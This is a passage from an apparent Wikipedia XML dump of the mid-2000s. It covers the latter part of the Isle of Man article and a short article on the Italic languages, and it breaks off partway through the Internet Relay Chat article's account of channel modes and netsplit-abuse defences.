As of 2005, the Island's system of government is under review &amp;mdash; there are plans to transform the Legislative Council into a directly-elected chamber, echoing the push for reform in the UK's [[House of Lords]] and the abolition of indirectly elected Conseillers in [[Guernsey]]. To date, no legislation has successfully passed through the House of Keys and given the fact that the issue has been high up the political agenda for over a decade, change does not seem to be forthcoming in the short term. This was reinforced by the political retirement of one of the main proposers of change, Edgar Quine. In October 2005 Tynwald accepted a proposal to change the title of the [[Lieutenant Governor]] to [[Crown Commissioner]] or [[Barrantagh y Chrooin]] in Manx (the title would also be &quot;Barrantagh ny Benrein,&quot; or &quot;Queen's Commissioner&quot;; when there is a King it will be &quot;Barrantagh ny Ree,&quot; or &quot;King's Commissioner&quot;). It now has to go London for approval, but the United Kingdom Department for Constitutional Affairs indicated early in 2005 that this was likely to be given. However, recent developments have suggested that the issue may be decided on the basis of an Island wide referendum.

===External relations===
A common misconception exists that Mann forms part of the [[United Kingdom]]. Under [[British law]] it does not, although the [[United Kingdom]] takes care of its external and defence affairs. The Isle of Man had a dispute with the [[European Court of Human Rights]] in the 1970s because it was reluctant to change its laws concerning [[birching]] (corporal punishment for male offenders). The law on [[sodomy law|sodomy]] might have also led down this road had it not been changed in the early 1990s.

The Isle of Man holds neither membership nor associate membership of the [[European Union]], and lies outside the [[European Economic Area]] (EEA). Nonetheless, Protocol Three of the [http://www.bmdf.co.uk/ukaccessiontreaty.pdf treaty of accession of the United Kingdom] permits trade for Manx goods without non-EU tariffs. In conjunction with the Customs and Excise agreement with the UK, this facilitates free trade with the UK. While Manx goods can be freely moved within the EEA, people, capital and services cannot.

There is no Manx citizenship. Manx people are classed as [[British nationality law|British citizens]] but those defined as Manx under Protocol Three have a special endorsement placed in their passports preventing them from freely living or working in EU states.   Those Manx persons with a parent or grandparent born in the United Kingdom (England, Scotland, Wales and Northern Ireland), or who have lived in the UK for 5 years, are not subject to this provision. 

The restriction on free movement of persons is anomalous in that the treaty establishing the EU (formerly [[EEC]]) clearly states that all citizens of member states will also be citizens of the EU.  However a special protocol was inserted in the Treaty of Accession of the United Kingdom excluding the Channel Islands and Isle of Man from the provisions governing free movement of people.   This was done at the request of the governments of Jersey, Guernsey and the Isle of Man at the time.

Travel to the Isle of Man is regulated by the local government laws. Visitors from countries who require a UK visa may also require a special Manx visa, obtainable from a British diplomatic mission. All non-Manx, including UK citizens, are required to obtain a work permit to take up employment on the Island.

===Politics===
Most Manx politicians stand for election as independents rather than as representatives of political parties. Though political parties do exist, their influence is not nearly as strong as is the case in the United Kingdom. Consequently, much Manx legislation develops through consensus among the members of Tynwald, which contrasts with the much more adversarial nature of the UK [[parliament]].

One political party, [[Mec Vannin]], advocates the establishment of a sovereign [[republic]]. A [[Manx Labour Party]] also exists, unaffiliated to the UK [[Labour Party (UK)|Labour Party]]. The island formerly had a [[Manx National Party]] and a Manx Communist party. There are Manx members in the [[Celtic League (political organisation)|Celtic League]], a political pressure group that advocates greater co-operation between and political autonomy for the [[Modern Celts|Celtic]] nations. The main political issues include the Island's relationship with the finance sector, housing prices and shortages, and the [[Manx language]]. The vast majority of the members of the [[House of Keys]] are non-partisan (19), with two representatives from the [[Manx Labour Party]] and three from the [[Alliance for Progressive Government]]. The next scheduled election is in 2006.

==Local government==
{{main|Local government in the Isle of Man}}
The [[Isle of Man]] is divided into six administrative districts, called sheadings. The six sheadings are [[Ayre]], [[Glenfaba]], [[Garff]], [[Michael (sheading)|Michael]], [[Rushen]] and [[Middle (sheading)|Middle]]. The sheadings form the basis of some constituencies and each has a [[Coroner]]. This office must not be confused with the Coronor for Inquests, a role usually fulfilled by the High Bailiff. A person may fulfil the role of coroner for more than one sheading at the same time.

The term 'sheading' is thought to be a [[Norse language|Norse]] word for 'ship division'; each district was believed to be responsible for producing a certain number of warships. It could also be a [[Celtic language|Celtic]] word meaning 'sixth part'.

[[Image:Isle of Man.png|thumb|right|250px|Isle of Man sheadings map]]
The sheadings are:

*[[Ayre|Ayre]]
*[[Garff|Garff]]
*[[Glenfaba|Glenfaba]]
*[[Michael|Michael]]
*[[Middle|Middle]]
*[[Rushen|Rushen]]

{| class=&quot;wikitable&quot;
! Map Number !! Local Government Area!! Type!! Sheading !! [[House of Keys]] Constituency
|-
|1||[[Andreas Parish|Andreas Parish]]||Parish|| Ayre||Ayre
|-
|2||[[Arbory Parish|Arbory Parish]]||Parish||Rushen||Rushen
|-
|3||[[Ballaugh Parish|Ballaugh Parish]]||Parish||Michael||Michael
|-
|4||[[Braddan Parish|Braddan Parish]]||Parish||Middle||Middle
|-
|5||[[Bride (parish)|Bride]] ||Parish|| Ayre ||Ayre
|-
|6||[[Castletown|Castletown]]||Town||Rushen||Castletown
|-
|7||[[Douglas, Isle of Man|Douglas]]||Town||Middle||Douglas East, West, North and South
|-
|8||[[German Parish|German Parish]]|| Parish||Glenfaba||Glenfaba
|-
|9||[[Jurby Parish|Jurby Parish]]||Parish||Michael||Michael
|-
|10||[[Laxey]]||Village||Garff||Garff
|-
|11||[[Lezayre Parish|Lezayre Parish]]||Parish|| Ayre||Ayre
|-
|12||[[Lonan Parish|Lonan Parish]]||Parish|| Garff||Garff
|-
|13||[[Malew Parish|Malew Parish]]||Parish||Rushen||Malew and Santon
|-
|14||[[Marown|Marown]]||Parish||Middle||Middle
|-
|15||[[Maughold Parish|Maughold Parish]]||Parish||Garff||Garfff
|-
|16||[[Michael Distirct|Michael District]]||District||Michael||Michael
|-
|17||[[Onchan District|Onchan District]]||District||?||Onchan
|-
|18||[[Patrick Parish|Patrick Parish]]||Parish|| Glenfaba||Glenfaba
|-
|19||[[Peel, Isle of Man|Peel]]||Town (City)||Glenfaba||Peel
|-
|20||[[Port Erin]]||Village||Rushen||Rushen
|-
|21||[[Port St Mary|Port St Mary]]||Village||Rushen||Rushen
|-
|22||[[Ramsey, Isle of Man|Ramsey]]||Town||?||Ramsey
|-
|23||[[Rushen Parish|Rushen Parish]]||Parish||Rushen||Rushen
|-
|24||[[Santon Parish|Santon Parish]]||Parish||Middle||Malew and Santon
|}

==Economy==
{{main|Economy of the Isle of Man}}
[[Offshore bank|Offshore]] [[banking]], [[manufacturing]], and [[tourism]] form key sectors of the [[economics|economy]] of the [[Isle of Man]]. The government's policy of offering incentives to high-technology companies and financial institutions to locate on the Island has expanded [[employment]] opportunities in high-income industries. As a result, [[agriculture]] and [[fishing]], once the mainstays of the economy, have declined in their shares of [[gross domestic product]] (GDP). Banking and other services now contribute the great bulk of GDP. [[Trade]] takes place mostly with the [[United Kingdom]]. The Isle of Man has access to [[European Union]] markets.

Since 1999, the Isle of Man has received [[electricity]] through the '''world's longest submarine AC cable''', the 90 kV [[Isle of Man to England Interconnector]], as well as from a natural gas power station in [[Douglas]], an oil power station in [[Peel]] and a small hydro-electric power station in [[Sulby Glen]].

The Manx government has also been promoting island locations for making films by contributing to the production costs. Among the most successful was [[Waking Ned Devine]] where the Manx countryside stood in for rural [[Ireland]].

==History==
{{main|History of the Isle of Man}}

===Ancient times to present===
The Isle of Man became a [[Viking]] outpost/kingdom from ''circa'' AD 700 to AD 900. The Norse [[Kingdom of Mann and the Isles]] was created by [[Godred Crovan]] in 1079. Norway's King [[Magnus VI]] ceded the isles to [[Scotland]] in 1266, as dictated in the [[Treaty of Perth]]. The Isle of Man came under English control in the 14th century and to the [[British Crown]] in 1765.

===The Tynwald===
The Island arguably has the oldest continuous parliament in the world, the Tynwald, nominally founded in 979 AD (both the [[Iceland|Icelandic]] [[Althing|parliament]] and the [[Faroe Islands|Faroese]] [[Løgting|parliament]] are older, but they were abolished between 1800 and 1845, and 1816 and 1852 respectively).

===The Triskelion===
[[Image:ManxCarRegistrationPlate.jpg|thumb|left|[[license plate|Car registration plate]], with the triskelion]]
For centuries, the Island's symbol has been the ancient [[Triskelion]]: three bent legs, each with a spur, joined at the thigh. The Triskelion does not appear to have an official definition &amp;mdash; Government publications, currency, flags, the tourist authority and others all use different variants. Most, but not all, preserve rotational symmetry. Some run clockwise, others anticlockwise. Some have the uppermost thigh at 12:00, others at 11:30 or 10:00, etc. Some have the knee bent at 90°, some at 60°, some at closer to 120°. Also the degree of ornamentation of the leg wear and spur vary considerably.

The three legs relate directly to the island's motto &amp;mdash; ''Quocunque Jeceris Stabit'', which translates to ''Whithersoever you throw it, it will stand.'' Interpretations of the motto often stress stability and robustness in the Manx character. Many schools on the island have adapted the motto to promote perseverance and hard work.

[[Image:Skancke-skjold.JPG|thumb|right|100px|Skancke coat of arms]]

Variations on the Triskelion are still in use on the coats of arms belonging to the different branches of the ancient Norwegian noble family that ruled Mann up until the 13th century. This particular version belongs to the [[Skancke]] branch of the [[Skanke]] family. The name stems from ''skank'', the Norwegian version of the word [[shank]]. The kinsmen of [[Magnus III of Norway|Magnus III]] and [[Godfred Magnuson]] emigrated to Norway after the failure of the 1275 uprising against the Scots and became [[knight]]s, [[landlord]]s, and [[clergy]] under the Norwegian Crown.

==Sports==
===Motorcycle racing===
The Isle of Man is famous for its [[Isle of Man TT|TT Motorbike racing event]], which began in 1904 as a motorcar race. From 1905, the TT was held as a closed roads motorcycle racing event and the original course was extended in the 1920s. This is now a series of annual motorcycle road races over 37.25 miles held from late May to early June.  TT stands for Tourist Trophy.  Excellent aerial view maps and full details of all racing can be seen at [http://www.iomguide.com/races/tt/tt-maps.php IOMGuide.com] and message board discussions run all year at [http://www.iomtt.com IOMTT.com]

The 4.25 mile Billown Course [http://www.southern100.com/ Southern 100] course near [[Castletown]] has been the scene of further events in May, June and July since 1955.

Further racing takes place on the TT course each August-September in the form of the [http://www.iommgp.com/ Manx Grand Prix]. The idea of motor cycle racing for amateurs and private entrants on the famous TT course gave rise to the birth of the MGP back in 1921.

Linked to all this motor cycle racing are the Supporters Clubs, Riders Assns and, of course, the [http://www.iomttma.com/ TT Marshals Association] and the  [http://www.iommgp.com/marshals/ MGP Marshals Association] as, without marshals, no racing would be possible.

===Cammag===
Cammag is similar to the [[Scotland|Scottish]] game of [[shinty]], [[England|English]] [[hockey]] and [[Ireland|Irish]] [[hurling]].  It used to be the most widespread sport on the Isle of Man but it ceased to be played after the introduction of [[football]], until very recently when it has been somewhat revived.  It involves a [[hockey stick|stick]] (cammag) and a [[ball]] (crick) with anything between four and hundreds of players!  Sometimes whole towns and villages took part, or even played each other. The cammag can be any stick with a bent end and the crick can be made from cork or wood.  Old accounts tell us that it was occasionally covered in a rag to make it less painful to hit.  Cammag season started on Hunt the Wren day (26th [[December]]) and was only played by men (of all ages) during the winter.  Realistically it ceased to be played about 1900, however today an annual match of cammag is played in [[St. John's, Isle of Man|St. John's]] (Balley Keill Eoin).  As there are no rules to cammag a trip to the local [inn]] is advised to ease any feelings of cowardice beforehand!

===Football===
[[Football (soccer)|Football]] is also popular, with the [[Isle of Man Football Association]] running an [[Isle of Man Football League|football league]] of 27 clubs in two divisions, as well as an [[Isle of Man Football Combination|football combination]] for the reserve teams of the league clubs. There is also an [[Isle of Man national football team|national football team]], although it does not participate in [[UEFA]] or [[FIFA]] tournaments.

An article on football can be found at [[Isle of Man national football team]]

===Rugby===
There are a number of [[Rugby Union]] clubs that participate in the English rugby scene, such as [[Douglas R.U.F.C.]]; [[Castletown R.U.F.C.]]; [[Southern Nomads R.U.F.C.]]; and [[Vagabonds R.U.F.C.]]. It would be possible to enter an Isle of Man Sevens rugby team in the Commonwealth Games.

===Basketball===
[[Basketball]] is also played in the Isle of Man. 

===Hockey===
There are many Manx [[Field hockey|hockey]] teams, with mixed, mens' and ladies' leagues. See [http://www.manxhockey.com Manx hockey website]. 

===Cricket===
The [[Isle of Man Cricket Association]] broke their affiliation with the Lancashire Cricket Board in 2004 to become affiliate members of the [[International Cricket Council]] and compete as a national team in their own right.

===Gymnastics===
The Isle of Man hosts very successful Men's and Women's [[gymnastics]] teams, which consist of gymnasts solely from [http://www.manxgymnastics.co.uk Manx Gymnastics]. Recent accomplishments include 2001, 2003 and 2005 [[Island Games]], the latest of which the gymnastics team came away with 29 medals, including 15 golds out of the total of 34 that the Isle of Man team [http://www.islandgames.net/content/members/iom.html] won. Manx Gymnastics sent a number of gymnasts to the [[2004 Junior Commonwealth Games]] in [[Melbourne]], and plan to send more to the [[2006 Commonwealth Games]].

===Chess===
[[Monarch Assurance]] international [[chess]] tournament is held in [[Port Erin]] every September-October.

==Famous residents==
Despite the wet and cool climate, the low income tax regime and zero tax on personal investments attract a small number of famous people to live on the island.  The British racing driver [[Nigel Mansell]] lived on the Isle of Man together with his family until moving to the [[USA]]. Sir [[Norman Wisdom]], comedian and actor, is a long term resident. The [[Bee Gees]] were born on the Island. [http://beta.manxradio.com/presenters/berniequayle/beegees-index.shtml] [[Jeremy Clarkson]] has a home at [[Langness]], near [[Castletown]]. [[Rick Wakeman]] has lived on the island for a number of years.

==See also==
* [[Communications on the Isle of Man]]
* [[Transport on the Isle of Man]]
* [[List of Kings of the Isle of Man]]
* [[Calf of Man]] &amp; Chicken Rock &amp;mdash; island and rocks housing a lighthouse. 
* [[St Mary's Isle (Conister Rocks or Tower of Refuge)]] &amp;mdash; Douglas bay islet. 
* [[Fort Island|St Michael's Isle (Fort Island)]] &amp;mdash; connected to Langness by causeway. 
* [[St Patrick's Isle]] ([[Peel Castle]]) &amp;mdash; one of the smallest islets in the Irish Sea but probably the most historic. Now connected to the mainland by causeway. 
* [[Manx Loaghtan|Loaghtan sheep]]
* [[Manx (cat)|Manx cat]]
* [[Towns in the Isle of Man]]
* [[Tynwald Day]]
* [[Isle of Man coins]]
* [[The Cremaster Cycle|Cremaster 4]] a film by [[Mathew Barney]] filmed on the isle.
* [[List of not fully sovereign nations]]

* [[Ubuntu Linux|Ubuntu]] - a Linux distribution that is distributed by [[Canonical Ltd]], headquartered in the Isle of Man.

==References==
* [[CIA World Factbook]] 2000

==External links==
{{Commonscat|Isle of Man}}
* [http://www.pubs.intheiom.com/ Isle of Man Pub Guide ] Exhaustive guide to Manx pubs
* [http://www.iomguide.com/ Isle of Man Guide ] Large website about the island
* [http://travel.holidays.com/iomci Isle of Man Worldwide Travel Links] with [http://www.freewebs.com/travelreports travel reports], [http://travel.holidays.com/tips tips], [http://www.freewebs.com/airnews AirNews]
* [http://www.manxies.net/forums Manxies.net forums ] The Talk of the Island.
* [http://s2.forumforfree.com/index.php?mforum=cybermanx World Manx Forum ] Forum for the Isle of Man
* [http://maps.google.com/maps?ll=54.201050,-4.550400&amp;spn=0.522537,0.764923&amp;t=k&amp;hl=en Google Maps Satellite Photo]
* [http://www.isle-of-man.com/places.shtml Information on places in the Isle of Man]
* [http://groups.yahoo.com/group/IsleofMan/ IsleofMan Email group ]with Photographs, Files and Links to information about the Isle of Man
* [http://www.gov.im Manx Government Website] A comprehensive site covering many aspects of Manx life from fishing to financial regulation
* [http://www.tynwald.org.im Tynwald.org] Hansards, Order Papers and Background to the Manx Government.
* [http://www.manxradio.com/ Manx Radio] The Government/commercial funded radio station for the Isle of Man
* [http://www.corpun.com/manx.htm Birching in the Isle of Man 1945-1976] Article about the use of the birch as a judicial punishment in the Isle of Man.
* [http://www.manxscenes.com/ Manx Scenes.com] Extensive photographic library.
* [http://www.isle-of-man.com/manxnotebook/ Manx Notebook] Manx History Archive.
* [http://www.isleofmanaccommodation.com/ Isle of Man Accommodation]
* [http://www.manxradio.com/webcammap.aspx Isle of Man Webcams] Via Manx Radio Website.
* [http://www.cia.gov/cia/publications/factbook/geos/im.html The World Factbook listing for the Isle of Man] 

{{Europe}}
[[Category:European dependencies]]
[[Category:Isle of Man| ]]
[[Category:Islands of Isle of Man]]
[[Category:Special territories]]
[[Category:Former Norwegian colonies]]

{{British dependencies}}

[[ast:Islla de Man]]
[[zh-min-nan:Mannin]]
[[bs:Ostrvo Man]]
[[ca:Man]]
[[cs:Man]]
[[cy:Ynys Manaw]]
[[da:Isle of Man]]
[[de:Isle of Man]]
[[et:Man]]
[[el:Νήσος Μαν]]
[[es:Isla de Man]]
[[eo:Manksinsulo]]
[[fo:Mann]]
[[fr:Île de Man]]
[[fy:Man]]
[[ga:Oileán Mhanann]]
[[gv:Mannin]]
[[gd:Eilean Mhanainn]]
[[ko:맨 섬]]
[[id:Pulau Man]]
[[is:Mön (Írlandshafi)]]
[[it:Isola di Man]]
[[he:האי מאן]]
[[kw:Ynys Manow]]
[[hu:Man-sziget]]
[[nl:Man (eiland)]]
[[nds:Isle of Man]]
[[ja:マン島]]
[[no:Man]]
[[nn:Isle of Man]]
[[pl:Wyspa Man]]
[[pt:Ilha de Man]]
[[ro:Insula Man]]
[[ru:Остров Мэн]]
[[simple:Isle of Man]]
[[sk:Man (ostrov)]]
[[sl:Man]]
[[fi:Mansaari]]
[[sv:Isle of Man]]
[[uk:Мен (острів)]]
[[zh:曼島]]</text>
    </revision>
  </page>
  <page>
    <title>Iberian alphabet</title>
    <id>14728</id>
    <revision>
      <id>15912264</id>
      <timestamp>2005-05-04T01:54:40Z</timestamp>
      <contributor>
        <username>Notcarlos</username>
        <id>152211</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Iberian scripts]]</text>
    </revision>
  </page>
  <page>
    <title>Italic languages</title>
    <id>14729</id>
    <revision>
      <id>40841971</id>
      <timestamp>2006-02-23T10:13:59Z</timestamp>
      <contributor>
        <username>Ningyou</username>
        <id>391950</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Template:Indo-European}}

The '''Italic''' subfamily is a member of the [[Centum]] branch of the [[Indo-European languages|Indo-European]] language family. Italic has two known branches:

* '''[[Osco-Umbrian languages|Sabellic]]''' including:
** [[Oscan language|Oscan]], was spoken in the south-central region of the Italian peninsula
*** [[Volscian language|Volscian]]
** [[Umbrian language|Umbrian]] (not to be confused with the modern Umbrian dialect of Italian), was spoken in the north-central region
** [[South Picene language|South Picene]], in east-central Italy
* '''[[Latino-Faliscan languages|Latino-Faliscan]]''' including:
** [[Faliscan language|Faliscan]], was spoken in the area around Falerii Veteres (modern Civita Castellana) north of the city of Rome
** [[Latin]], was spoken in west-central Italy, the Roman conquests eventually spreading it throughout the empire and beyond.

The Italic speakers were not native to Italy, but migrated into the Italian peninsula in the course of the [[2nd millennium BC]]. Archaeologically, the [[Appenine]] culture (inhumations) enters the Italian peninsula from ca. 1350 BC, east to west; the [[Iron Age]] reaches Italy from ca. [[1100 BC]], with the [[Villanovan culture]] (cremating), intruding north to south. Before the Italic arrival, Italy was populated primarily by non-Indo-European groups (perhaps including the [[Etruscans]]). The first settlement on the [[Palatine hill]] dates to ca. [[750 BC]], settlements on the [[Quirinal]] to [[720 BC]] (see [[Founding of Rome]]). The closest relatives of the Italic languages are [[Celtic languages]] see: [[Italo-Celtic]].

The Italic languages are first attested in writing from Latin inscriptions dating to the [[6th century BC|6th]] or [[5th century BC|5th]] centuries BC. The alphabets used are based on the [[Old Italic alphabet]], which is itself based on the [[Greek alphabet]]. The Italic languages themselves show minor influence from the [[Etruscan language|Etruscan]] and somewhat more from the [[Ancient Greek]] languages. 

As [[Roman Republic|Rome]] extended its political dominion over the whole of the Italian peninsula, so too did Latin become dominant over the other Italic languages, which ceased to be spoken perhaps sometime in the [[1st century]] AD. From so-called [[Vulgar Latin]] the [[Romance languages]] emerged.

The ancient [[Venetic language]], as revealed by inscriptions (including complete sentences) is considered by many linguists to have been very close to the Italic languages and it is sometimes even classified as Italic.

==See also==
* [[Language families and languages]]
* [[Romance languages]]
* [[Venetic language]]

==References==
* [[Ernst Pulgram]]: ''Tongues of Italy, Prehistory and History''

[[Category:Italic languages|*]]

[[af:Italiese tale]]
[[az:İtalik qrupu]]
[[ca:Llengües itàliques]]
[[de:Italische Sprachen]]
[[fr:Langues italiques]]
[[ko:이탤릭어파]]
[[hr:Italski jezici]]
[[he:שפות איטליות]]
[[lt:Italikų kalbos]]
[[hu:Italikus nyelvek]]
[[nl:Italische talen]]
[[ja:イタリック語派]]
[[pl:Języki italskie]]
[[ro:Limbile italice]]
[[ru:Италийская языковая группа]]
[[fi:Itaaliset kielet]]
[[sv:Italiska språk]]
[[vi:Nhóm ngôn ngữ gốc Ý]]
[[zh:意大利语族]]</text>
    </revision>
  </page>
  <page>
    <title>Internet Relay Chat</title>
    <id>14730</id>
    <revision>
      <id>41571115</id>
      <timestamp>2006-02-28T05:35:49Z</timestamp>
      <contributor>
        <username>Ozzmosis</username>
        <id>433159</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{redirect|IRC}}
{{IPstack}}&lt;!-- Edit the stack image at: Template:IPstack --&gt;'''Internet Relay Chat (IRC)''' is a form of [[Instant messenging|instant communication]] over the [[Internet]].  It is mainly designed for group (many-to-many) communication in discussion forums called ''channels'', but also allows one-to-one communication.

IRC was created by [[Jarkko Oikarinen]] (nickname &quot;WiZ&quot;) in late August 1988 to replace a program called [[MUT (software)|MUT]] (MultiUser [[Talk (Unix)|talk]]) on a [[Bulletin board system|BBS]] called OuluBox in [[Finland]].  Oikarinen found inspiration in [[Bitnet Relay Chat]] which operated on the [[Bitnet|Bitnet network]]. 

IRC gained prominence when it was used to report on the [[Soviet coup attempt of 1991]] throughout a [[media blackout]]. It was previously used in a similar fashion by Kuwaitis during the [[Gulf War|Iraqi invasion]].

==Technical information==
IRC is an open [[network protocol|protocol]] that uses [[Transmission Control Protocol|TCP]] and optionally [[Secure Sockets Layer|SSL]].  An IRC server can connect to other IRC servers to expand the IRC network.  Users access IRC networks by connecting a client to a server.  There are many client and server implementations.  Most IRC servers do not require users to log in, but a user will have to set a nickname before being connected .

IRC is a plaintext protocol, which means that it is fully possible (though quite inconvenient) to use IRC via a basic byte-stream client such as [[netcat]] or [[telnet]]. However, the protocol only uses a slightly modified version of [[ASCII]], and does not originally provide any support for non-ASCII characters in text, with the result that many different, incompatible character encodings (such as [[ISO 8859-1]] and [[UTF-8]]) are used. 

Because most IRC implementations use an [[acyclic graph]] as their connection model, there is no redundancy, and outage of a server or a link can cause a [[netsplit]].

===Evolution===
All client-to-server IRC protocols in use today are descended from the protocol implemented in the irc2.8 version of the IRC2server, and documented in RFC 1459.  Since RFC 1459 was published, the new features in the irc2.10 implementation led to the publication of several revised protocol documents; RFC 2810, RFC 2811, RFC 2812 and RFC 2813, however these protocol changes have not been widely adopted among other implementations.  IRC 2.10 is most widely used on the [[IRCnet]] network.  The IRC protocol was extended by Microsoft in 1998 via its [[IRCX]] protocol that solves many of the traditional problems that legacy IRC networks faced, along with some features that most users felt were 'ahead of its time'. Although many specifications on the IRC protocol have been published, there is no official specification, as the protocol remains dynamic. Virtually no clients and very few servers rely strictly on the above RFCs as a reference.

While the client-to-server protocols are at least functionally similar, server-to-server protocols differ widely (TS5, P10, and ND/CD are several widely-used and incompatible server protocols), making it very difficult to &quot;link&quot; two separate implementations of the IRC server.  Some &quot;bridge&quot; servers do exist, to allow linking of, for example, 2.10 servers to TS5 servers, but these are often accompanied with restrictions of which parts of each protocol may be used, and are not widely deployed.

In its first incarnations, IRC did not have many features that are taken for granted today, such as named channels and channel operators.  Channels were numbered -- channel 4 and channel 57, for example -- and the channel '''topic''' described the kind of conversation that took place in the channel.  One holdover of this is that joining channel 0 causes a client to leave all the channels it is presently on: &quot;CHANNEL 0&quot; being the original command to leave the current channel.

The first major change to IRC, in version 2.5, was to add '''named channels''' -- &quot;+channels&quot;. &quot;+channels&quot; were later replaced with &quot;#channels&quot; in version 2.7, numeric channels were removed entirely and channel bans (mode +b) were implemented.  irc2.8 added &quot;&amp;channels&quot; (those that exist only on the current server, rather than the entire network) and &quot;!channels&quot; (those that are theoretically safe from suffering from the many ways that a user could exploit a channel by &quot;riding a netsplit&quot;), and is the baseline release from which nearly all current implementations are derived.

Significant releases based on 2.8 include:

*2.8.21+CS, developed by Comstud
*2.8+th, Taner's patchset, which later became
*2.8/hybrid, originally developed by Jon Lusky ('''Rodder''') and Diane Bruce ('''Dianora'''), later joined by a large development team.
*2.9, 2.10, 2.11, ... continue the development of the original codebase, mainly for use on the [[IRCnet]] network.  This development line produced the 4 IRC RFCs released after RFC 1459, which document this server protocol exclusively.

2.8.21+CS and 2.8/hybrid continue to be used on [[EFnet]], with ircd-ratbox (an offshoot of 2.8/hybrid) [[as of 2004]] being the most popular.  

[[Undernet]]'s IRC server, ircu, is one of the few servers not descended from irc2.8 that are based on the original ircd; it was forked from the irc2.7 codebase.

Many modern IRC servers have been coded from scratch, such as csircd (also from Comstud), ConferenceRoom, Microsoft Exchange Chat Service, and IRCPlus/IRCXPro.

===Channels and modes===
The basic means of communication in an established IRC session is a ''channel''. You can see all the channels in a server using the command ''/list [#string] [-min #] [-max #]'' that lists all currently available channels, optionally [[filter]]ing for parameters (#string for the entire or part of the name, with [[Wildcard character#Computing|wildcard]]s, and #min / #max for number of users in the channel). 

Users can ''join'' to channels (using the command ''/join #channelname'') and then send messages to it, which are then relayed to all other users in the same channel. Channels which are available across an entire IRC network are prepended with a '#', while those local to a server use '&amp;'.  Other (non-standard and less common) channel types include '+' channels&amp;mdash;'modeless' channels without operators, and '!' channels, a form of [[#Timestamp vs. Nick.2FChannel Delay Protocol|timestamped]] channel on normally non-timestamped networks.

Both users and channels may have ''modes'', which are some kind of attributes or switches. Modes are abbreviated by single letters so you can string them together concisely. An example for an user mode is 'i', which stands for invisible. (You cannot tell whether or not an invisible user is on a channel unless you join that channel or use the whois command on its nick.) A simple channel-mode example is 'm' (''moderated''), specifying that only 'voiced' users and channel operators are allowed to speak on the channel. This, along with 'k' (''keyed'' - requires a password to join the channel) and 'i' (''invite-only'' - requires an invitation from a channel operator) modes can be used to keep abuse out of the channel.
There are five types of channelmodes, four of which will accept an argument, type A accepting an argument to add/remove values from a list (such as 'b'), type B accepting an argument that is used when turning the mode 'on' and 'off' (such as 'k'), type C accepting an argument only when the mode is turned 'on' (such as 'l'), type D which accepts no arguments and is simply a boolean flag (such as 'm', 'n', and 't'), and type E (usually called 'class' or 'prefix' modes) that give/take a privilege from a user on a channel (such as 'o').

Type E modes (channel classes) specify which users on a channel have privileges, and what level of those privileges they have.  Originally only 'channel operator' (mode 'o') and 'voice' (mode 'v') existed.  Channel operator (usually abbreviated chanop or simply 'op') privileges allow a user to kick users, set modes, and change the topic if the channel is '+t'.  Voice privileges allow a user to speak on a channel if it is moderated (mode 'm').  Additions to these classes are 'channel owner' (mode 'q') created by Microsoft in its IRCX implementation (and later used by UnrealIrcd); 'half-operator' (mode 'h') which is similar to a chanop, except they cannot set certain modes and can only kick normal users; 'protected' (mode 'a'); 'administrator' (mode 'a' or 'u'); and many more.

Each channel class has an associated prefix that is shown beside a user's nickname whenever associated with that channel.  The most common prefixes are '@' for channel operator, '+' for voice, '%' for half-op, '.' or '~' for channel owner, '&amp;' for protected user, '!' or the lesser known '*' for administrator.

Unless the channel is moderated, the only effect of +v (voice) is the plus sign appearing beside the nick name.  On many channels this is used to indicate seniority or regularity of use, or a kind of &quot;trusted user&quot; flag in case the channel does have to be moderated.

Most IRC networks feature a lot of extra modes not specified in any RFC document. This is a very simple feat for clients to adapt to since a list of all the valid user and channelmodes are sent to clients in the RPL_MYINFO reply upon logon.  In addition, the list of channelmodes (and what type of arguments they accept), and the prefixes for class modes are specified in the protocol control reply (RPL_PROTOCTL or 005) sent from most IRC servers when a client connects.  This message is used to tell clients what features the server supports, and what its limits are (for example, the maximum number of users you can have on your notify list, or the maximum length of your nickname).

There are also users whose privileges extend to whole servers or networks of servers; these are called [[IRC operator|IRC Operators]]. On some IRC implementations, IRC operators are also given channel operator status in every channel, although many people believe that administration of channels and administration of the network should be kept separate, and that IRC operator status does not confer the right to interfere with a particular channel's operation.

Because IRC connections are unencrypted and typically span long time periods, they are an attractive target for malicious hackers. Because of this, careful security policy is necessary to ensure that an IRC network is not susceptible to an attack such as an [[IRC takeover war]]. IRC networks also [[k-line]] or [[gline|g-line]] users or networks that tend to have a harming effect.

IRC served as an early laboratory for many kinds of Internet attacks, such as using fake [[ICMP]] unreachable messages to break [[Transmission Control Protocol|TCP]]-based IRC connections (&quot;[[nuking]]&quot;) to annoy users or facilitate [[takeover]]s.

===Abuse prevention: timestamping vs. nick/channel delay protocol===
One of the most contentious technical issues surrounding IRC implementations, which survives to this day, is the merit of &quot;Nick/Channel Delay&quot; vs. &quot;TimeStamp&quot; protocols.  Both methods exist to solve the problem of [[denial-of-service attack]]s, but take very different approaches.

The problem with the original IRC protocol as implemented was that when two servers split and rejoined, the two sides of the network would simply merge their channels.  If a user could join on a &quot;split&quot; server, where a channel which existed on the other side of the network was empty, and gain operator status, they would become a channel operator of the &quot;combined&quot; channel after the netsplit ended; if a user took a nickname which existed on the other side of the network, the server would kill both users when rejoining.  

This was often abused to &quot;mass-kill&quot; all users on a channel, thus creating &quot;opless&quot; channels: where no operators were present to deal with abuse.  Apart from causing problems within IRC, this encouraged people to conduct denial of service attacks against IRC servers in order to cause netsplits, which they would then abuse.

====Nick/channel delay====
The nick/channel delay (abbreviated ND/CD) solution to this problem was very simple.  After a user signed off and the nickname became available, or a channel ceased to exist because all its users left (as often happens during a netsplit), the server would not allow any user to use that nickname or join that channel, respectively, until a certain period of time (the ''delay'') had passed.  The idea behind this was that even if a netsplit occurred, it was useless to an abuser because they could not take the nickname or gain operator status on a channel, and thus no collision of a nickname or 'merging' of a channel could occur.  To some extent, this inconvenienced legitimate users, who might be forced to briefly use a different name (appending an underscore was popular) after rejoining.

====Timestamping====
The alternative, the timestamp or ''TS'' protocol, took a different approach.  Every nickname and channel on the network was assigned a timestamp -- the date and time when it was created.  When a netsplit occurred, two users on each side were free to use the same nickname or channel, but when the two sides were joined, only one could survive.  In the case of nicknames, the newer user, according to their TS, was killed;  when a channel collided, the members (users on the channel) were merged, but the channel operators on the &quot;losing&quot; side of the split were de-opped.  

